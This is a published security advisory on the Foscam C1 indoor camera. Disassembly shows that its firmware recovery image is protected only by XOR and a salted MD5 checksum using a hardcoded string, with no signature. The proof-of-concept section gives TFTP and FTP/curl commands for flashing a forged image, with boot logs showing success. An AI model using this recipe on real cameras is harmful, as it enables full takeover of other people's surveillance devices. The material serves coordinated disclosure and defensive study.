### Summary
Insufficient security checks exist in the recovery procedure used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. An attacker who is in the same subnetwork of the camera or has remote administrator access, can fully compromise the device by performing a firmware recovery using a custom image.
### Tested Versions
Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26
### Product URLs
http://www.foscam.com/downloads/index.html
### CVSSv3 Score
9.6 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
### CWE
CWE-287: Improper Authentication
### Details
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.
In case the flash contents of the device get corrupted, making it impossible to perform a clean boot of the system, the C1 camera offers two ways to recover without the need of physical access:
* place a recovery image inside the SD-Card (can be done via FTP), at path /ipc_recover_image_bin/recover_image.bin and reboot the device.
* setup a TFTP server to provide a recover_image.bin file and reboot the device. Upon reboot, the camera will look for a TFTP server on a fixed local IP address. The MAC address of the device is arbitrarily set to 00:00:23:34:45:66 during recovery, which means that tentative connections can be discovered by analyzing ARP requests on the network:
```
16:26:12.108612 ARP, Request who-has 192.168.233.233 tell 192.168.233.2, length 46
0x0000: 0001 0800 0604 0001 0000 2334 4566 c0a8 ..........#4Ef..
0x0010: e902 0000 0000 0000 c0a8 e9e9 ............
```
The SD-Card method requires an administrator access on the web interface to upload files via FTP. On the other hand, the TFTP server method only requires the TFTP server to be in the same subnetwork of the device, without the need of any privilege.
We analyze the TFTP recovery procedure since it's the most interesting from an attack perspective: the relevant function has been renamed to tftp_update. At [1] the recovery image filename is set to "recover_image.bin" and at [2] the load address of the image is set to "0x82000000". At [3] the recovery file is retrieved from the TFTP server and loaded into its load address. After that, the function xor_decrypt is called to decrypt the image [4].
```
ROM:80812D88 tftp_update
ROM:80812D88
ROM:80812D88 var_24 = -0x24
ROM:80812D88
ROM:80812D88 F3 4E 2D E9 STMFD SP!, {R0,R1,R4-R7,R9-R11,LR}
ROM:80812D8C E8 01 9F E5 LDR R0, =aAutoUpdateFr_0 ; "Auto-update from TFTP: "
ROM:80812D90 54 F0 FF EB BL printf
ROM:80812D94 E4 01 9F E5 LDR R0, =aUpdatefile ; "updatefile"
ROM:80812D98 0D E6 FF EB BL sub_8080C5D4
ROM:80812D9C E0 A1 9F E5 LDR R10, =recover_image ; [1]
ROM:80812DA0 00 00 50 E3 CMP R0, #0
ROM:80812DA4 00 A0 A0 11 MOVNE R10, R0
ROM:80812DA8 0A 10 A0 E1 MOV R1, R10
ROM:80812DAC D4 01 9F E5 LDR R0, =aTryingUpdateFi ; "trying update file '%s'\n"
ROM:80812DB0 4C F0 FF EB BL printf
ROM:80812DB4 D0 01 9F E5 LDR R0, =aLoadaddr ; "loadaddr"
ROM:80812DB8 05 E6 FF EB BL sub_8080C5D4
ROM:80812DBC 00 00 50 E3 CMP R0, #0
ROM:80812DC0 82 44 A0 03 MOVEQ R4, #0x82000000 ; [2]
...
ROM:80812E44 C4 BF FF EB BL fetch_recovery ; [3]
...
ROM:80812EC0 04 00 A0 E1 MOV R0, R4
ROM:80812EC4 07 10 A0 E1 MOV R1, R7
ROM:80812EC8 00 FF FF EB BL xor_decrypt ; [4]
```
The function xor_decrypt takes the image data and its size as first and second parameter, and XORs every couple of bytes starting from the end of the image.
```
ROM:80812AD0 xor_decrypt
ROM:80812AD0
ROM:80812AD0 01 00 80 E0 ADD R0, R0, R1
ROM:80812AD4 00 30 A0 E3 MOV R3, #0
ROM:80812AD8 04 00 00 EA B loc_80812AF0
ROM:80812ADC
ROM:80812ADC loc_80812ADC
ROM:80812ADC 02 20 50 E5 LDRB R2, [R0,#-2]
ROM:80812AE0 01 C0 50 E5 LDRB R12, [R0,#-1]
ROM:80812AE4 02 20 2C E0 EOR R2, R12, R2
ROM:80812AE8 02 20 40 E5 STRB R2, [R0,#-2]
ROM:80812AEC 01 00 40 E2 SUB R0, R0, #1
ROM:80812AF0
ROM:80812AF0 loc_80812AF0
ROM:80812AF0 01 30 83 E2 ADD R3, R3, #1
ROM:80812AF4 01 00 53 E1 CMP R3, R1
ROM:80812AF8 F7 FF FF 1A BNE loc_80812ADC
ROM:80812AFC 1E FF 2F E1 BX LR
```
At this point, the image is decrypted and has the following form (assuming only one chunk exists):
```
23232323 (4 bytes) magic
0x01 (4 bytes) number of chunks
"hi3518e" (8 bytes) platform string
... (8 bytes) ?
0x38 (4 bytes) start of chunk
0xf00000 (4 bytes) size of chunk
0x80000 (4 bytes) flash offset
00000000 (4 bytes) ?
... (16 bytes) md5 of the chunk
... (variable) chunk data
```
Back to the tftp_update function, the first bytes of the decrypted image are checked to be #### [5], and the platform string is checked to be hi3518e [6]. The function then enters a loop that is executed for every chunk defined in the image [7]. For every chunk, a checksum is verified to ensure the integrity of the image, by calling the function wrap_md5 [8]. If the checksum matches, the chunk is flashed [9].
```
ROM:80812ECC 00 20 94 E5 LDR R2, [R4]
ROM:80812ED0 D4 30 9F E5 LDR R3, =0x23232323 ; [5]
ROM:80812ED4 03 00 52 E1 CMP R2, R3
ROM:80812ED8 05 00 00 1A BNE loc_80812EF4
ROM:80812EDC CC 00 9F E5 LDR R0, =aHi3518e ; "hi3518e"
ROM:80812EE0 08 10 84 E2 ADD R1, R4, #8
ROM:80812EE4 06 14 00 EB BL strcmp ; [6]
ROM:80812EE8 00 60 50 E2 SUBS R6, R0, #0
ROM:80812EEC 04 50 A0 01 MOVEQ R5, R4
ROM:80812EF0 1C 00 00 0A BEQ loc_80812F68
ROM:80812EF4
ROM:80812EF4 loc_80812EF4
ROM:80812EF4 B8 00 9F E5 LDR R0, =aUnkonwUpdateFi ; "Unkonw update file"...
ROM:80812EF8
ROM:80812EF8 loc_80812EF8
ROM:80812EF8 08 D0 8D E2 ADD SP, SP, #8
ROM:80812EFC F0 4E BD E8 LDMFD SP!, {R4-R7,R9-R11,LR}
ROM:80812F00 F8 EF FF EA B printf
ROM:80812F04
ROM:80812F04 loc_80812F04
ROM:80812F04 18 70 95 E5 LDR R7, [R5,#0x18]
ROM:80812F08 86 22 84 E0 ADD R2, R4, R6,LSL#5
ROM:80812F0C 07 70 84 E0 ADD R7, R4, R7
ROM:80812F10 07 00 A0 E1 MOV R0, R7
ROM:80812F14 1C 10 95 E5 LDR R1, [R5,#0x1C]
ROM:80812F18 28 20 82 E2 ADD R2, R2, #0x28
ROM:80812F1C 7B FF FF EB BL wrap_md5 ; [8]
ROM:80812F20 00 00 50 E3 CMP R0, #0
ROM:80812F24 0A 00 00 1A BNE loc_80812F54
ROM:80812F28 06 10 A0 E1 MOV R1, R6
ROM:80812F2C 1C 20 95 E5 LDR R2, [R5,#0x1C]
ROM:80812F30 20 30 95 E5 LDR R3, [R5,#0x20]
ROM:80812F34 7C 00 9F E5 LDR R0, =aMd5OkDoingUpda ; "MD5 OK"...
ROM:80812F38 EA EF FF EB BL printf
ROM:80812F3C 24 00 95 E5 LDR R0, [R5,#0x24]
ROM:80812F40 07 10 A0 E1 MOV R1, R7
ROM:80812F44 20 20 95 E5 LDR R2, [R5,#0x20]
ROM:80812F48 1C 30 95 E5 LDR R3, [R5,#0x1C]
ROM:80812F4C EB FE FF EB BL update_flash ; [9]
ROM:80812F50 02 00 00 EA B loc_80812F60
ROM:80812F54
ROM:80812F54 loc_80812F54
ROM:80812F54 60 00 9F E5 LDR R0, =aMd5FailOnPartD ; "MD5 Fail on Part %d !!!!!!\n"
ROM:80812F58 06 10 A0 E1 MOV R1, R6
ROM:80812F5C E1 EF FF EB BL printf
ROM:80812F60
ROM:80812F60 loc_80812F60
ROM:80812F60 01 60 86 E2 ADD R6, R6, #1
ROM:80812F64 20 50 85 E2 ADD R5, R5, #0x20
ROM:80812F68
ROM:80812F68 loc_80812F68 ; [7]
ROM:80812F68 04 30 94 E5 LDR R3, [R4,#4]
ROM:80812F6C 03 00 56 E1 CMP R6, R3
ROM:80812F70 E3 FF FF 3A BCC loc_80812F04
ROM:80812F74 08 D0 8D E2 ADD SP, SP, #8
ROM:80812F78 F0 8E BD E8 LDMFD SP!, {R4-R7,R9-R11,PC}
```
wrap_md5 receives as arguments the pointer to the chunk data, the chunk's length and the expected checksum. The MD5 of the chunk is calculated [10] and the resulting digest is concatenated with the string "#foscam&*234" [11]. On this resulting string, another MD5 is calculated [12]. Finally the function returns the result of the comparison [13] between the calculated checksum and the expected one.
```
ROM:80812D10 wrap_md5
ROM:80812D10
ROM:80812D10 var_50 = -0x50
ROM:80812D10 var_20 = -0x20
ROM:80812D10
ROM:80812D10 70 40 2D E9 STMFD SP!, {R4-R6,LR}
ROM:80812D14 50 D0 4D E2 SUB SP, SP, #0x50
ROM:80812D18 40 40 8D E2 ADD R4, SP, #0x60+var_20
ROM:80812D1C 02 60 A0 E1 MOV R6, R2
ROM:80812D20 04 20 A0 E1 MOV R2, R4
ROM:80812D24 12 14 00 EB BL md5 ; [10]
ROM:80812D28 04 10 A0 E1 MOV R1, R4
ROM:80812D2C 10 20 A0 E3 MOV R2, #0x10
ROM:80812D30 0D 00 A0 E1 MOV R0, SP
ROM:80812D34 3F 15 00 EB BL memcpy
ROM:80812D38 44 00 9F E5 LDR R0, =aFoscam234
ROM:80812D3C 99 14 00 EB BL strlen
ROM:80812D40 3C 10 9F E5 LDR R1, =aFoscam234
ROM:80812D44 0D 50 A0 E1 MOV R5, SP
ROM:80812D48 00 20 A0 E1 MOV R2, R0
ROM:80812D4C 10 00 8D E2 ADD R0, SP, #0x60+var_50
ROM:80812D50 38 15 00 EB BL memcpy
ROM:80812D54 28 00 9F E5 LDR R0, =aFoscam234 ; [11]
ROM:80812D58 92 14 00 EB BL strlen
ROM:80812D5C 04 20 A0 E1 MOV R2, R4
ROM:80812D60 10 10 80 E2 ADD R1, R0, #0x10
ROM:80812D64 0D 00 A0 E1 MOV R0, SP
ROM:80812D68 01 14 00 EB BL md5 ; [12]
ROM:80812D6C 06 00 A0 E1 MOV R0, R6
ROM:80812D70 04 10 A0 E1 MOV R1, R4
ROM:80812D74 10 20 A0 E3 MOV R2, #0x10
ROM:80812D78 60 15 00 EB BL memcmp ; [13]
ROM:80812D7C 50 D0 8D E2 ADD SP, SP, #0x50
ROM:80812D80 70 80 BD E8 LDMFD SP!, {R4-R6,PC}
```
Using an abstract notation this translates to:
```
checksum = MD5(MD5(chunk) | "#foscam&*234")
```
Given that no signatures are applied to the recovery procedure, anyone aware of the encryption and hashing scheme will be able to create a custom image and flash it.
Exploit Proof-of-Concept
We show two ways to exploit this bug over the network.
#### TFTP PoC
An attacker needs to setup a TFTP server to provide a recovery image to the device. The TFTP server address expected by the device is fixed and can be discovered by looking at ARP requests originating from the MAC address 00:00:23:34:45:66.
```
$ cp recover_image.bin /tmp/tftpboot
$ atftpd --daemon --no-fork -v6 --logfile - /tmp/tftpboot
```
Upon reboot the device will look for a TFTP server, load the recovery image, decrypt it and perform integrity checks. If all checks are passed, the new image is flashed and booted.
```
Auto-update from TFTP: trying update file 'recover_image.bin'
Hisilicon ETH net controler
MAC: 00-00-23-34-45-66
UP_PORT : phy status change : LINK=UP : DUPLEX=FULL : SPEED=100M
TFTP from server 192.168.233.233; our IP address is 192.168.233.2
Download Filename 'recover_image.bin'.
Download to address: 0x82000000
Downloading: #################################################
done
Bytes transferred = 15728696 (f00038 hex)
MD5 OK, doing update_flash part 0 size=00f00000 ---> 0x00080000
16384 KiB hi_sfc at 0:0 is now current device
Erasing at 0xf80000 -- 100% complete.
Writing at 0xf80000 -- 100% complete.
Hit any key to stop autoboot: 0
16384 KiB hi_sfc at 0:0 is now current device
## Starting application at 0x82000000 ...
Uncompressing Linux... done, booting the kernel.
```
#### SD-Card PoC
Alternatively, a recovery can be performed using the SD-Card, but requires administrator privileges.
First, the FTP server needs to be started:
```
$ sUsr="admin"
$ sPwd=""
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=startFtpServer"
```
A custom recovery image can then be sent via FTP:
```
$ ncftpput -u "$sUsr" -p "$sPwd" -P 50021 -m -C $SERVER recover_custom.bin /ipc_recover_image_bin/recover_image.bin
```
Upon reboot the device will load the recovery image, decrypt it and perform integrity checks. If all checks are passed, the new image is flashed and booted.
```
Auto-update from SD Card:
Found sd card device.
Found block device description.
** Partition 0 not valid on device 0 **
Can't register block device [mmc 0:0]!
Registered block device [mmc 0:1] successfully.
reading /ipc_recover_image_bin/recover_image.bin
Read upgrade file /ipc_recover_image_bin/recover_image.bin successfully, readSize=15728696.
MD5 OK, doing update_flash part 0 size=00f00000 ---> 0x00080000
16384 KiB hi_sfc at 0:0 is now current device
Erasing at 0xf80000 -- 100% complete.
Writing at 0xf80000 -- 100% complete.
Hit any key to stop autoboot: 0
16384 KiB hi_sfc at 0:0 is now current device
## Starting application at 0x82000000 ...
Uncompressing Linux... done, booting the kernel.
```
### Timeline
* 2017-07-13 - Vendor Disclosure
* 2017-08-08 - Discussion with vendor regarding issues reported
* 2017-10-29 - Vendor provided Feb 2018 as planned date for fix
* 2018-02-09 - Patch date pushed to March 2018 per vendor
* 2018-03-14 - Vendor patched
* 2018-04-17 - Public Release
暂无评论